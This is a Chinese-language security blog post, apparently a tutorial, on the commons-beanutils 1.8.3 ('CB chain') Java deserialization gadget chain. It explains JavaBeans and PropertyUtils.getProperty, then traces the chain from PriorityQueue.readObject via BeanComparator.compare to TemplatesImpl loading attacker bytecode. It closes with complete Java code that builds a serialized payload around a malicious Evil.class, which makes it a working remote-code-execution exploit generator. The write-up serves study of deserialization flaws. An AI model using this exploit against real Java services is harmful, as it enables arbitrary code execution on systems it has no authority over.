Java反序列化-CB链
依赖
jdk:8u65
CB:commons-beanutils 1.8.3
在pom.xml里添加
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
具体方法可以参照CC1那篇文章
Apache Commons Beanutils和JavaBean
CommonsBeanutils 是应用于 javabean 的工具,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法
JavaBean 是一种JAVA语言写成的可重用组件,它是一个类
所谓javaBean,是指符合如下标准的Java类:
- 类是公共的
- 有一个无参的公共的构造器
- 有私有属性,且须有对应的get、set方法去设置属性
- 对于boolean类型的成员变量,允许使用"is"代替上面的"get"和"set"
比如下面这个Person类
package com.LE0;
public class Person {
private String name;
public Person(String name) {
this.name = name;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
这个类包含了一个私有属性和两个公有方法getName()和setName(),即getter和setter,这种 class 就是 JavaBean
利用点
commons-beanutils中提供了一个静态方法PropertyUtils.getProperty(),可以让使用者直接调用任意JavaBean的getter方法
PropertyUtils.getProperty()传入两个参数,第一个参数为 JavaBean 实例,第二个是 JavaBean 的属性
package com.LE0;
import org.apache.commons.beanutils.PropertyUtils;
public class Person {
private String name;
public Person(String name) {
this.name = name;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public static void main(String[] args) throws Exception {
Person person = new Person("LE0");
System.out.println(PropertyUtils.getProperty(person, "name"));
}
}
output:
LE0
这里只需要改变字符串,就可以动态的执行不同的函数,这里就很有可能有安全问题
调用链分析
在CC3中,我们是通过TemplatesImpl 动态加载恶意类来实现rce
调用链如下
TemplatesImpl:
getOutputProperties()
->newTransformer()
->getTransletInstance()
->defineTransletClasses()
TransletClassLoader:
->defineClass()
重点看:TemplatesImpl#getOutputProperties()
getOutputProperties()方法即其 _outputProperties 属性的 getter 方法是加载恶意字节码的起点,我们可以利用前面提到的,commons-beanutils里的PropertyUtils.getProperty()去调用getter
那谁调用了getproperty?这里找到了compare方法

这个方法传入两个对象,如果this.property为空,则直接比较这两个对象;如果this.property不为空,则用PropertyUtils.getProperty分别取这两个对象的this.property属性,比较属性的值。因此通过给 o1赋值构造好的templates对象,property赋值为TemplatesImpl的 outputProperties属性,即可调用TemplatesImpl.getOutputProperties() 往下就是TemplatesImpl的利用链。
那么往上找,哪里调用 compare()呢?可以利用CC2/4链中的 PriorityQueue.readObject()
最后将链子整合一下
PriorityQueue.readObject()
->BeanComparator.compare()
->PropertyUtils.getProperty()
TemplatesImpl类:
->getOutputProperties()
->newTransformer()
->getTransletInstance()
->defineTransletClasses()
TransletClassLoader类:
->defineClass()
完整代码
package com.LE0;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CB {
public static void main(String[] args) throws Exception {
//CC3
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"LE0");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\code\\java\\Evil.class"));
byte[][] codes= {code};
bytecodes.set(templates,codes);
//CB
BeanComparator beanComparator = new BeanComparator("outputProperties");
//CC2
//这是CC中的类,CB中没有,但是我在序列化之前用反射改回来了,所以传到后端时就没有这个类了。只需要本地有即可。
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
Class<PriorityQueue> p = PriorityQueue.class;
Field comparator = p.getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue,beanComparator);
// serialize(priorityQueue);
deserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oos.writeObject(obj);
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
return ois.readObject();
}
}


浙公网安备 33010602011771号